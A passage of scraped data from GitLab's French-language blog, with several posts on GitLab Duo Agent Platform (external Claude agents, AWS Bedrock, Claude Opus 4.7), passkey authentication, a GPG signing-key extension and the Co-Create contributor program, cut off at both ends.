spécifications.\n\nL'agent lit le contexte (informations du projet, ressources associées, etc.), analyse les exigences détaillées dans le ticket, génère une application web Java full stack avec les composants d'interface utilisateur appropriés, implémente la logique métier avec les taux d'intérêt indiqués et crée une merge request comprenant l'ensemble du code prêt à être révisé.\n\nL'application générée inclut des classes Java backend, des fichiers HTML/CSS/JavaScript frontend et la configuration du build en fonction des spécifications du ticket d'origine. Les équipes peuvent ensuite tester l'application localement, vérifier les fonctionnalités et continuer à itérer avec l'agent par le biais d'une conversation en langage naturel.\n\n![Ticket détaillant les exigences de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/irzlmm0gukanjt7ryq9b.png \"Ticket détaillant les exigences de l'application\")\n\n\n\n![Prompt pour que l'agent externe crée une merge request avec implémentation de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/ajr6nquefob7lefdcxng.png \"Prompt pour que l'agent externe crée une merge request avec implémentation  de l'application\")\n\n\n\n\n![Implémentation terminée par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/gbwwawybg9u4jzibuurw.png \"Implémentation terminée par l'agent externe\")\n\n\n\n![Nouvelle application créée par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/rijlwchqo1zytp842bld.png \"Nouvelle application créée par l'agent externe\")\n\n\n\n![Build et exécution locale de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058386/aycpfxa0mdbfbxf2ydu3.png \"Build et exécution locale de l'application\")\n\n\n\n![Test local de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058388/rxlvwmzlx8vor92qhotl.png \"Test local de l'application\")\n\n### 2. Revue de code\n\nL'assurance qualité ne se limite pas à la génération de code. Dans le deuxième cas d'utilisation, le même agent externe effectue une revue de code complète de l'application qu'il a créée. En mentionnant l'agent dans un commentaire de la merge request, les équipes reçoivent une analyse détaillée comprenant les points forts du code, les problèmes critiques, les préoccupations de priorité moyenne, les améliorations mineures, les évaluations de sécurité, les notes de test, les métriques du code et les recommandations accompagnées d'un statut d'approbation. Ce processus de revue automatisée garantit la cohérence et détecte les problèmes potentiels avant qu'ils n'atteignent la production. Il permet aussi de libérer les développeurs expérimentés pour qu'ils se concentrent sur les décisions architecturales plutôt que sur les inspections routinières du code.\n\n\n![Demande de revue de code à l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/ri7x5qkx9bfnidfn8gx1.png \"Demande de revue de code à l'agent externe\")\n\n\n\n![Résultats de la revue de code par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/trdamdekrnvkbnfz0twg.png \"Résultats de la revue de code par l'agent externe\")\n\n\n\n### 3. Création d'un pipeline pour construire une image de conteneur\n\nLe dernier cas d'utilisation se concentre sur une lacune courante : l'automatisation du déploiement. Lorsque la merge request ne dispose pas de [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), les équipes peuvent simplement demander à l'agent externe d'en créer un. L'agent génère une configuration de pipeline complète qui construit l'application, crée un Dockerfile au moyen d'images de base adaptées à la version Java du projet, construit une image [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") et la déploie dans le registre de conteneurs intégré de GitLab. Le pipeline s'exécute automatiquement et suit les étapes de build, de création d'image Docker et de déploiement dans le registre sans configuration ni intervention manuelle.\n\n\n![Prompt pour que l'agent externe crée un pipeline et une image de conteneur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/bwqipksewm1hejuycwqh.png \"Prompt pour que l'agent externe crée un pipeline et une image de conteneur\")\n\n\n\n![Nouveau pipeline et fichiers Dockerfile créés par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/agyr8hhc1vax7aarsxoj.png \"Nouveau pipeline et fichiers Dockerfile créés par l'agent externe\")\n\n\n\n![Exécution réussie du pipeline venant d'être créé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/cdm4mye5edkpemedpxts.png \"Exécution réussie du pipeline venant d'être créé\")\n\n\n\n![Image de conteneur créée suite à l'exécution du pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/bifx71xz9k7vedbo9xl3.png \"Image de conteneur créée suite à l'exécution du pipeline\")\n\n## Résumé\n\nAvec ses agents externes, GitLab Duo Agent Platform représente un changement fondamental dans la manière dont les organisations abordent le développement logiciel. En remédiant à l'isolation des outils d'IA et à la fragmentation des workflows, les agents externes offrent une automatisation intelligente directement dans les plateformes que les équipes utilisent déjà. Plutôt que de traiter l'IA comme un assistant de codage séparé, GitLab Duo Agent Platform intègre de manière transparente des modèles externes comme Claude dans votre workflow GitLab, pour que les agents puissent comprendre le contexte complet du projet, respecter les normes de l'organisation et gérer en toute autonomie des tâches complexes à chaque étape du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC ?\").\n\nLa proposition de valeur est claire : les équipes de développement accélèrent les délais de livraison, maintiennent une qualité de code cohérente, réduisent le travail répétitif et libèrent les ingénieurs expérimentés afin qu'ils se concentrent sur l'innovation plutôt que sur les tâches routinières. De la génération de code prêt pour la production basée sur des descriptions de tickets à la réalisation de revues de code approfondies et à l'automatisation des pipelines de déploiement, les agents externes deviennent des collaborateurs de confiance qui comprennent les besoins et normes spécifiques de votre organisation.\n\nDécouvrez comment votre équipe peut livrer plus rapidement et maintenir une qualité de code supérieure sans changer de contexte tout au long du cycle de vie du développement logiciel. Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui. Ensuite, consultez notre article [« Démarrer avec GitLab Duo Agent Platform : le guide complet »](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-complete-getting-started-guide/).\n\n",[793,853,835],{"featured":691,"template":843,"slug":902},"gitlab-duo-agent-platform-with-claude-accelerates-development",{"content":904,"config":915},{"date":905,"title":906,"description":907,"authors":908,"heroImage":911,"body":912,"category":704,"tags":913},"2026-04-01","Accélérer l'innovation dans la chaîne de développement logiciel avec GitLab Duo Agent Platform et AWS Bedrock","Enjeux actuels, vision de GitLab et cas d'usage concrets : découvrez comment une orchestration intelligente des agents d'IA peut transformer votre organisation.",[909,910],"Olivier Dupré","Charlotte Delbosc","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1751464636/htrk5th3q0tq1rcfntkp.png","Accélérer le développement logiciel grâce à l'intelligence artificielle, c'est la promesse que beaucoup d'entreprises cherchent à tenir. Mais entre la multiplication des outils, la multiplication des modèles et la pression croissante en matière de [sécurité et de conformité](https://about.gitlab.com/fr-fr/blog/meet-regulatory-standards-with-gitlab/ \"Sécurité et conformité\"), la réalité est souvent plus complexe qu'un simple gain de productivité sur l'écriture de code.\n\nComment passer d'une IA expérimentale et fragmentée à une IA véritablement industrialisée, gouvernée et intégrée à l'ensemble du cycle de développement logiciel ? C'est la question centrale à laquelle GitLab répond avec GitLab Duo Agent Platform, en offrant à ses clients toute la flexibilité dont ils ont besoin en termes d’hébergement des modèles, pour répondre à leurs contraintes opérationnelles.\n\nDécouvrez dans cet article comment l'orchestration intelligente des agents d'IA peut transformer l’ensemble du cycle de développement logiciel, à travers deux cas d’usage concrets avec AWS Bedrock comme backend LLM.\n\n> 🎯 Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !\n\n## L'IA en entreprise : de l'expérimentation à la gouvernance à grande échelle\n\nEn 2025, **près de 88 % des organisations utilisaient déjà l'IA dans au moins une fonction métier**, selon une enquête de McKinsey. Un chiffre qui illustre un basculement majeur : l'IA n'est plus un sujet d'expérimentation isolée. Elle est devenue un enjeu de production, de gouvernance et de gestion des risques à l'échelle de l'entreprise.\n\n![Enquête de McKinsey 2025](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774026444/orfmpn658y49717y3n8f.png)\n\nSur les deux dernières années, l'utilisation de l'IA générative s’est intensifiée, entraînant dans son sillage une multiplication d'outils, de modèles et de preuves de concept. Une complexité croissante qui soulève une question de fond : qui utilise quel modèle, avec quelles données, et sous quel niveau de sécurité et de conformité ? Face à ce manque de visibilité, les entreprises réclament désormais davantage de traçabilité, de contrôle et de gouvernance sur leur utilisation de l’IA. \n\n## Le paradoxe de l'IA dans le développement logiciel\n\nDans la chaîne de développement logiciel, un paradoxe s'est installé : l'IA a certes accéléré la phase de codage, mais toutes les autres étapes du cycle de développement logiciel restent des goulots d'étranglement. Spécifications, revues de code, tests, sécurité, déploiements, surveillance… autant d'étapes qui n'ont pas encore pleinement profité des avantages de l’intelligence artificielle.\n\nC’est dans ce contexte que s'inscrit la stratégie de GitLab : passer d’une approche fragmentée de l’IA à une plateforme unifiée où le code, la sécurité et la conformité ainsi que l’IA coexistent au même endroit. \n\n## GitLab : de l’approche DevSecOps  à l’orchestration intelligente\n\nGitLab a transformé sa plateforme, d’une simple plateforme [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") pour gérer étape par étape le cycle de vie logiciel à une **plateforme d'orchestration intelligente** qui unifie à la fois le DevSecOps et l'IA.\n\nL'objectif n'est plus seulement d'automatiser chaque étape individuellement, mais de **permettre aux équipes d'orchestrer leurs agents d’IA** pour livrer des logiciels plus vite, de manière plus sécurisée, et avec une gouvernance renforcée depuis une plateforme unique.\n\n### Une intégration adaptée à vos besoins\n\nL'approche de GitLab s’adapte à vos contraintes existantes : \n\n* **Intégration à vos workflows existants** : projets, pipelines, outils.\n* **Exploitation de votre contexte métier** : les agents GitLab s'appuient sur votre code et votre contexte pour être immédiatement opérationnels sur vos applications.\n* **Respect de vos règles de sécurité et de conformité** : politiques d'accès, localisation des données.\n* **Maîtrise totale de votre infrastructure** : avec des modèles auto-gérés ou hébergés sur AWS, vous avez la possibilité d'utiliser les modèles de votre choix, tout en conservant vos données et votre contrôle. Et si vos contraintes l'exigent, vous pouvez également basculer sur AWS European Sovereign Cloud, voire fonctionner en environnement totalement isolé d'Internet.\n\nPour illustrer concrètement ces capacités, intéressons-nous aux deux cas d'usage suivants.\n\n## GitLab Duo Agent Platform et AWS Bedrock en pratique\n\nLes deux cas d'usage présentés ci-dessous s'appuient sur une instance GitLab déployée sur AWS, avec AWS Bedrock comme backend LLM. Les modèles ont été préalablement configurés dans GitLab pour alimenter les différentes fonctionnalités de GitLab Duo Agent Platform : suggestion de code, GitLab Duo Agentic Chat, explication de code, etc. \n\n### Cas d'usage 1 : utilisation de l’agent Security Analyst\n\nLes scans SAST et SCA sont essentiels, mais ils génèrent souvent un volume important de vulnérabilités, difficiles à classer, prioriser et traiter efficacement. C'est là qu'intervient l'agent Security Analyst de GitLab. Cet agent d’IA spécialisé joue le rôle d'un analyste sécurité augmenté : \n\n* Il se connecte aux résultats des scans de sécurité.\n* Il analyse les vulnérabilités et estime leurs niveaux de risque.\n* Il priorise les éléments critiques et propose des plans de remédiation.\n\nLes bénéfices sont mesurables : moins de bruit pour les développeurs, un gain de temps pour les équipes AppSec, et une réduction observable du volume de vulnérabilités en production.\n\nLa sécurité n'est pas le seul domaine où les agents d’IA font la différence. Le cas d'usage suivant montre comment cette même logique d'orchestration peut transformer le quotidien des équipes de développement avec l’aide de plusieurs agents spécialisés. \n\n### Cas d'usage 2 : de la user story à la merge request avec des agents d’IA\n\nTransformer une user story en code fonctionnel, accompagné de tests et d’une documentation, est un processus long et variable d'un développeur à l'autre. \n\nPour faciliter le travail des équipes, GitLab propose un **flow “Développeur” qui orchestre simultanément plusieurs agents d’IA** à partir d’un simple ticket :\n\n1. Un agent propose le **plan de développement** et **génère le code**.\n2. Un agent **effectue les tests**.\n3. Un agent **rédige et met à jour la documentation**.\n\nCe flow de bout en bout permet de gagner un temps précieux entre l’idée et le développement, tout en standardisant les pratiques et en garantissant la conformité avec les contraintes de l'entreprise.\n\n## L'IA comme levier industriel\n\nL'enjeu n'est pas d'avoir plus d'IA, mais de faire en sorte que **les équipes et les agents d’IA collaborent ensemble à l'échelle de l'entreprise**. Avec GitLab et son approche d’orchestration intelligente, les équipes DevSecOps alignent leurs workflows, leurs règles de sécurité et leurs modèles pour faire de l’IA un véritable avantage compétitif. \n\n> 🎯 Prêt à accélérer votre développement logiciel ? Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !\n\n### Ressources complémentaires\n\n* [GitLab Duo Agent Platform : le guide complet](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)\n* [Démarrer avec GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/blog/introduction-to-gitlab-duo-agent-platform/)\n* [Démarrer avec GitLab Duo Agentic Chat](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-duo-agentic-chat/)\n* [GitLab Duo Agent Platform : comprendre les agents](https://about.gitlab.com/fr-fr/blog/understanding-agents-foundational-custom-external/)\n* [Comprendre les flows : workflows multi-agents](https://about.gitlab.com/fr-fr/blog/understanding-flows-multi-agent-workflows/)\n* [Découvrir le catalogue d'IA : créer et partager des agents et des flows](https://about.gitlab.com/fr-fr/blog/ai-catalog-discover-and-share-agents/)\n* [Surveiller, gérer et automatiser les workflows d'IA](https://about.gitlab.com/fr-fr/blog/monitor-manage-automate-ai-workflows/) \n* [Intégrer le Model Context Protocol](https://about.gitlab.com/fr-fr/blog/duo-agent-platform-with-mcp/)\n* [Personnaliser GitLab Duo Agent Platform : règles, prompts et workflows](https://about.gitlab.com/fr-fr/blog/customizing-gitlab-duo-chat-rules-prompts-workflows/)",[914,853,872],"AWS",{"featured":13,"template":843,"slug":916},"gitlab-duo-agent-platform-and-aws-bedrock",{"category":719,"slug":717,"posts":918},[919,931,942],{"content":920,"config":929},{"title":921,"description":922,"authors":923,"heroImage":925,"date":926,"body":927,"category":717,"tags":928},"Claude Opus 4.7 est désormais disponible dans GitLab Duo Agent Platform","Le dernier modèle d'Anthropic est disponible dès maintenant et offre des workflows d'agents plus performants.",[924],"Rebecca Carter","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776174711/ksndibz6sgj1umx5cjsj.png","2026-04-20","\n[GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/) prend désormais en charge [Claude Opus 4.7](https://www.anthropic.com/news/claude-opus-4-7), le dernier modèle d'Anthropic, disponible dès aujourd'hui via la sélection de modèle dans l'[Agentic Chat](https://docs.gitlab.com/user/duo_agent_platform/context/#gitlab-duo-agentic-chat) et dans l'ensemble des workflows pilotés par des agents au sein de votre instance GitLab.\n\n\nPour les équipes qui exécutent des agents sur l'intégralité du cycle de développement, Opus 4.7 apporte des améliorations significatives aux tâches essentielles : les travaux complexes et multi-étapes qui exigent un raisonnement soutenu, une exécution précise des instructions et la capacité à vérifier ses propres résultats avant de les afficher.\n\n\n## Un raisonnement renforcé pour chaque workflow d'agent\n\n\nL'amélioration la plus notable concerne la manière dont Opus 4.7 traite les tâches longues et complexes. Les évaluations internes de GitLab ont mis en évidence des performances supérieures à celles de Sonnet 4.6 comme d'Opus 4.6. Ces améliorations combinées se traduisent directement par des agents plus efficaces dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Pipeline CI/CD\"), la revue de code, la résolution de vulnérabilités et d'autres workflows multi-outils où les erreurs en cascade ont un coût élevé.\n\n\nLes équipes avec des workflows d'agents établis noteront qu'Opus 4.7 interprète les instructions avec plus de précision que les modèles précédents, ce qui lui permet d'exécuter les tâches complexes et conditionnelles avec davantage de fidélité. Par exemple, les agents chargés de séquences de remédiation multi-étapes accomplissent chaque étape conformément aux spécifications et garantissent aux équipes des résultats plus prévisibles et auditables.\n\n\n## Des agents qui maintiennent la cadence du code à la production\n\nLa promesse des agents intégrés à chaque étape du cycle de développement logiciel signifie que le travail avance sans attendre l'intervention humaine. Opus 4.7 contribue à tenir cette promesse de manière plus fiable en pratique.\n\n\nAu stade de la génération de code et de la création de tests, les agents bénéficient de la capacité d'Opus 4.7 à vérifier ses propres résultats avant de les afficher. Résultat ? Moins d'allers-retours, une itération plus rapide et moins d'interruptions qui perturbent la concentration des développeurs. Dans les workflows de sécurité et de gestion des vulnérabilités, un meilleur respect des instructions permet aux agents de rester sur la tâche tout au long des séquences de remédiation multi-étapes, en menant le travail à son terme tel qu'il a été défini, sans nécessiter de corrections en cours de route.\n\n\nDans les environnements [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"CI/CD\"), où les échecs de pipeline peuvent bloquer toute une équipe, la cohérence sur le long terme d'Opus 4.7 est particulièrement précieuse. Les agents qui analysent les échecs, examinent les logs et proposent des correctifs traitent cette séquence de manière cohérente, sans perdre le contexte en cours d'exécution. Le travail est terminé au lieu d'être escaladé.\n\nGitLab Duo Agent Platform relie ces étapes par conception. Opus 4.7 renforce la couche d'intelligence qui les alimente, de sorte que les agents coordonnant la planification, le développement, la sécurité et le déploiement disposent d'un modèle plus performant pour piloter les décisions à chaque transfert.\n\n## Tarification et disponibilité\n\nClaude Opus 4.7 est disponible dès maintenant dans GitLab Duo Agent Platform via la [sélection de modèle](https://docs.gitlab.com/administration/gitlab_duo/model_selection/). Pour consulter la liste complète des modèles disponibles pour GitLab Duo Agent Platform ainsi que leur consommation respective en crédits, rendez-vous sur notre [documentation](https://docs.gitlab.com/subscriptions/gitlab_credits/#models).\n\nVous pouvez commencer un [essai gratuit de GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) dès aujourd'hui. Si vous utilisez déjà GitLab dans la version gratuite, [vous pouvez vous inscrire](https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom) à GitLab Duo Agent Platform en suivant quelques étapes simples.\n\nSi vous êtes déjà abonné à GitLab Premium ou GitLab Ultimate, il vous suffit d'[activer GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/) et de commencer à utiliser les GitLab Credits [inclus](https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits) dans votre abonnement.\n\n\n*Cet article de blog contient des déclarations de nature prospective au sens de la Section 27A du Securities Act de 1933, telle que modifiée, et de la Section 21E du Securities Exchange Act de 1934. Bien que nous pensions que les attentes reflétées dans ces déclarations sont raisonnables, elles sont soumises à des risques, incertitudes, hypothèses et autres facteurs connus et inconnus qui peuvent entraîner des résultats ou conséquences sensiblement différents. De plus amples informations sur ces risques et autres facteurs sont incluses sous la rubrique « Facteurs de risque » dans nos documents déposés auprès de la SEC. Nous ne nous engageons pas à mettre à jour ou à réviser ces déclarations après la date de publication de cet article de blog, sauf si la loi l'exige.*\n",[853,793],{"featured":691,"template":843,"slug":930},"claude-opus-4-7-is-now-available-in-gitlab-duo-agent-platform",{"content":932,"config":940},{"title":933,"description":934,"authors":935,"heroImage":936,"date":937,"body":938,"category":717,"tags":939},"Les clés d'accès pour l'authentification sans mot de passe et à deux facteurs sont désormais disponibles sur GitLab","Découvrez comment enregistrer une clé d'accès sur votre compte et comment prévenir le hameçonnage avec l'authentification à deux facteurs.",[150],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-03-10","Les clés d'accès sont désormais disponibles sur GitLab et offrent un moyen plus sécurisé et pratique d'accéder à votre compte. Vous pouvez les utiliser comme méthode d'authentification sans mot de passe ou comme authentification à deux facteurs (2FA) pour prévenir tout risque de hameçonnage. Les clés d'accès vous permettent de vous authentifier à l'aide d'une empreinte digitale, de la reconnaissance faciale ou du code PIN sur votre appareil. Si vous avez activé l'authentification à deux facteurs, les clés d'accès deviendront automatiquement votre méthode d'authentification à deux facteurs par défaut.\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nPour enregistrer une clé d'accès sur votre compte, accédez aux paramètres de votre profil et sélectionnez **Compte > Gérer l'authentification**.\n\nLes clés d'accès utilisent la technologie WebAuthn et la cryptographie à clé publique, composée d'une clé privée et d'une clé publique. Votre clé privée est stockée de façon sécurisée sur votre appareil et ne le quitte jamais, tandis que votre clé publique est stockée sur GitLab. Même si GitLab était compromis, les attaquants ne pourraient pas utiliser vos identifiants stockés pour accéder à votre compte. Les clés d'accès fonctionnent sur les navigateurs de bureau (Chrome, Firefox, Safari, Edge), les appareils mobiles (iOS 16 et versions ultérieures, Android 9 et versions ultérieures) et les clés de sécurité matérielles FIDO2, ce qui vous permet d'enregistrer plusieurs clés d'accès sur vos appareils pour garantir un accès pratique.\n\n![Connexion avec clé d'accès dans le cadre d'une authentification à deux facteurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLab a signé l'[engagement Secure by Design de l'agence fédérale CISA](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/), qui vise à améliorer notre posture de sécurité et à aider nos clients à développer des logiciels sécurisés plus rapidement. L'un des objectifs clés de cet engagement est d'augmenter l'utilisation de l'[authentification multifacteur (MFA)](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa) sur l'ensemble des produits du fabricant. Les clés d'accès font partie intégrante de cet objectif et offrent une méthode MFA fluide qui résiste au hameçonnage et rend la connexion à GitLab à la fois plus sûre et plus pratique.\n\nSi vous avez des questions, souhaitez partager votre expérience ou aimeriez échanger directement avec notre équipe concernant de potentielles améliorations, consultez ce [ticket](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758).\n",[805,793],{"featured":691,"template":843,"slug":941},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":943,"config":952},{"title":944,"description":945,"heroImage":946,"authors":947,"date":949,"body":950,"category":717,"tags":951},"Signature des métadonnées des dépôts de paquets GitLab : prolongation de la clé GPG","La clé GPG utilisée pour signer les métadonnées des dépôts sur l'instance Packagecloud de GitLab sur packages.gitlab.com a été prolongée.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[948],"Denis Afonso","2026-02-24","GitLab utilise une clé GPG pour signer les métadonnées des différents dépôts apt et yum utilisés pour distribuer les paquets omnibus-gitlab et gitlab-runner officiels afin de garantir l'intégrité des paquets, en plus des paquets eux-mêmes qui sont signés par une clé distincte.\n\nLa clé actuelle utilisée pour la signature des métadonnées, avec l'empreinte `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`, devait expirer le 27 février 2026 et a été prolongée jusqu'au 6 février 2028.\n\n## Pourquoi prolongeons-nous cette date d'expiration ?\n\nLa date d'expiration de la clé de signature des métadonnées du dépôt est prolongée périodiquement pour satisfaire aux politiques de sécurité de GitLab et pour limiter l'exposition en cas de compromission de la clé. Au lieu de remplacer la clé, la date d'expiration de cette dernière est prolongée afin de limiter les perturbations pour les utilisateurs, car un remplacement obligerait tous les utilisateurs à mettre à jour leur clé.\n\n## Que dois-je faire ?\n\nSi vous avez configuré les dépôts GitLab sur votre machine avant le 17 février 2026, veuillez consulter la documentation officielle : [Comment récupérer et ajouter la nouvelle clé](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys).\n\nSi vous êtes un nouvel utilisateur, vous n'avez rien à faire, si ce n'est de consulter la [page d'installation de GitLab](https://about.gitlab.com/fr-fr/install/) ou la [documentation d'installation de gitlab-runner](https://docs.gitlab.com/runner/install/linux-repository/).\n\nDes informations supplémentaires concernant la [vérification des signatures des métadonnées du dépôt](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) sont disponibles dans la documentation Omnibus. Si vous avez simplement besoin d'actualiser une copie de la clé publique, vous pouvez la trouver sur l'un des serveurs de clés GPG en recherchant support@gitlab.com ou en utilisant l'ID de clé `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`.\n\nVous pouvez également la télécharger directement depuis packages.gitlab.com en accédant à l'URL `https://packages.gitlab.com/gpg.key`.\n\n## Que faire si j'ai besoin d'aide supplémentaire ?\n\nVeuillez ouvrir un ticket dans le [suivi des tickets omnibus-gitlab](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[793],{"featured":691,"template":843,"slug":953},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"category":732,"slug":730,"posts":955},[956,972,986],{"content":957,"config":970},{"title":958,"description":959,"authors":960,"heroImage":962,"date":963,"body":964,"category":730,"tags":965,"updatedDate":969},"Programme Co-Create : comment nous construisons GitLab avec nos clients","Découvrez comment Thales, Scania et Kitware collaborent avec les ingénieurs de GitLab pour contribuer au développement de fonctionnalités significatives.",[961],"Fatima Sarah Khalid","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","L'année dernière, plus de 800 membres de la communauté ont apporté plus de 3 000 contributions à GitLab. Parmi ces contributeurs figurent des membres issus d'équipes travaillant pour des entreprises internationales comme Thales, Scania et Kitware qui contribuent à façonner l'avenir de GitLab grâce au [Programme Co-Create](https://about.gitlab.com/community/co-create/). Dans le cadre de ce programme de développement collaboratif mis en place par GitLab, les clients travaillent directement avec les ingénieurs de GitLab pour ajouter des fonctionnalités importantes à la plateforme.\n\nÀ travers des ateliers, des sessions de programmation en binôme et une assistance en continu, les participants au programme acquièrent une connaissance pratique de l'architecture et du code base de GitLab tout en résolvant des problèmes ou en améliorant des fonctionnalités existantes.\n\n*« Notre expérience avec le Programme Co-Create a été incroyable »*, déclare Sébastien Lejeune, Open Source Advocate chez Thales. *« Il n'a fallu que deux mois entre le moment où nous avons discuté de notre contribution avec un ingénieur de l'équipe Contributor Success de GitLab et le moment où nous l'avons intégrée à la version de GitLab. »*\n\nDans cet article, découvrez comment nos clients tirent parti du Programme Co-Create pour transformer leurs idées en code, tout en se formant et en apportant leur contribution.\n\n## Qu'est-ce que le Programme Co-Create ?\nAvec le [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit), les contributeurs peuvent facilement faire leurs premiers pas sur la plateforme de développement de GitLab. *« Ce que les nouveaux contributeurs doivent comprendre, c'est que rien n'est définitif avec le GDK »*, indique Hook. *« Si un contributeur effectue une modification qui ne fonctionne pas, il peut l'annuler ou tout recommencer. Le GDK permet d'expérimenter, de tester et d'apprendre sans se soucier de l'environnement. »*\n\nChaque entreprise participant au Programme Co-Create de GitLab reçoit une assistance tout au long de son parcours de contribution :\n\n- __Atelier d'intégration technique__ : session dédiée à la mise en place du GitLab Development Kit (GDK) et à la présentation de l'architecture de la plateforme GitLab.\n- __Support technique individuel__ : accès aux ingénieurs GitLab pour programmer en binôme et recevoir des conseils techniques.\n- __Explications détaillées sur l'architecture__ : sessions sur des composants spécifiques de la plateforme GitLab en lien direct avec le problème auquel l'entreprise contribue.\n- __Aide à la revue de code__ : retours et conseils détaillés tout au long du processus de merge request.\n- __Points réguliers__ : collaboration continue pour assurer l'avancement de la contribution et répondre aux problématiques rencontrées.\n\nCette structure garantit que les équipes peuvent contribuer efficacement, quelle que soit leur expérience antérieure avec le code base de GitLab ou les langages de programmation Ruby/Go. Comme le note John Parent de Kitware, *« si vous êtes un nouvel utilisateur de GitLab, vous avez l'impression d'être face à une architecture sophistiquée et à une immense quantité de code réparti sur différents projets. Le Programme Co-Create regroupe l'équivalent de plusieurs semaines de formation interne en une formation accélérée et ciblée. »*\n\nEn plus d'aboutir au développement de nouvelles fonctionnalités, ce programme permet d'établir des relations durables entre GitLab et sa communauté d'utilisateurs. *« Le fait que nos clients contribuent avec enthousiasme au développement de nouvelles fonctionnalités est inspirant pour nos ingénieurs »*, révèle Shekhar Patnaik, Principal Engineer chez GitLab. *« Les clients découvrent la \"méthode GitLab\" et les ingénieurs sont témoins de leur engagement à façonner l'avenir de GitLab. »*\n\n## Contribution de Thales : amélioration de l'expérience utilisateur des projets\n\nLa société Thales a identifié des opportunités pour améliorer l'interface utilisateur de la plateforme GitLab lorsque les utilisateurs créent des projets vides. Et elle ne s'est pas contentée de soumettre une demande de fonctionnalité : elle a développé la solution elle-même. Elle a axé ses contributions sur l’amélioration de l'expérience de configuration de nouveaux projets en simplifiant la configuration SSH/HTTPS avec une interface composée de plusieurs onglets et en ajoutant une fonctionnalité de copier/coller pour les extraits de code. Ces changements ont eu un impact significatif sur les workflows des équipes de développement.\nL'équipe de Thales n'a pas seulement travaillé à l'amélioration de l'UX. Quentin Michaud, doctorant travaillant dans le domaine des applications cloud en périphérie chez Thales, a contribué à l'amélioration du GitLab Development Kit (GDK). Chargé de maintenance de paquets pour Arch Linux, Quentin Michaud, fort de son expertise, a contribué à enrichir la documentation du GDK et à soutenir sa conteneurisation, facilitant ainsi le travail des futurs contributeurs.\n\n*« Grâce à mon expérience en open source, j'ai pu améliorer la prise en charge des distributions Linux par le GDK »*, explique Quentin Michaud. *« Pendant que j'améliorais la documentation sur la gestion de versions des paquets, j'ai constaté que l'équipe Contributor Success de GitLab travaillait également à l'intégration du GDK dans un conteneur. Voir nos efforts converger a été 